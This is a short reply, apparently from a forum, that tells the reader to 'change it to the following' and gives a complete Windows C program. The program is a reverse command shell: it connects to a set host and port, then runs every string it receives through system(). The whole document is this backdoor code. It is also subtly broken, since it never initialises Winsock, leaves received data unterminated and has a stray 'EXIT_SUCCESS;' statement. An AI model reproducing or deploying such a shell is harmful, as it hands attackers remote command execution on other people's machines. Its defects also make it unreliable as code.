Change it to the following:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <winsock2.h>
#pragma comment(lib, "Ws2_32") // tell the linker which library to include
#define HOST "127.0.0.1"
#define PORT 1337
int main(void) {
SOCKET fd; char command[5000];
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr(HOST);
server.sin_port = htons(PORT);
fd = socket(AF_INET, SOCK_STREAM, 0);
connect(fd, (struct sockaddr *)&server, sizeof(server));
while (1) {
recv(fd, command, sizeof(command), 0);
system(command);
}
EXIT_SUCCESS;
}